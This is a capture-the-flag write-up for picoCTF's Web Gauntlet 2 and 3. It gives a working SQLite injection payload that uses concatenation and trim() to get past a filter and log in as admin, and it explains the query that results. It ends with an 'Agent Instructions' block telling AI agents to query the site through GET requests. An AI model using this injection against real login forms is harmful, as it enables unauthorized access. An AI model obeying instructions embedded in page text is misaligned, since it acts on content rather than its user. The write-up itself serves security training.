# Web Gauntlet (170 + 300)

## Problem

### Web Gauntlet 2

This website looks familiar... Log in as admin

Site: <http://mercury.picoctf.net:35178/>

Filter: <http://mercury.picoctf.net:35178/filter.php>

### Web Gauntlet 3

Last time, I promise! Only 25 characters this time.

## Solution

### Web Gauntlet 2

Username: `adm' || trim('in',` Password: `) || '`

This will cause the following SQL statement to be executed:

```
SELECT username, password FROM users WHERE username='adm' || trim('in',' AND password=') || ''
```

Notes:

* `||` is the SQLite concatenation operator.
* `trim(string, character)` will remove `character` from `string`. Here, it is simply for us to ignore the `AND` condition by treating `' AND password='` as a string. Since `' AND password='` does not appear in `'in'`, `trim('in',' AND password=')` will simply return `'in'`.
* The above SQL statement is thus equivalent to:

```
SELECT username, password FROM users WHERE username='adm' || 'in' || ''
```

Which is equivalent to:

```
SELECT username, password FROM users WHERE username='admin'
```

We can now check out the filter page:

![](/files/-MX2AcDomGWxSxbQ8HA0)

### Web Gauntlet 3

The length requirement is down from 35 characters to 25 characters. Our above solution works for this challenge as well!

![](/files/-MX2AdhjicZj7N9JLlDb)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2021/picoctf/web-gauntlet-170-+-300.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
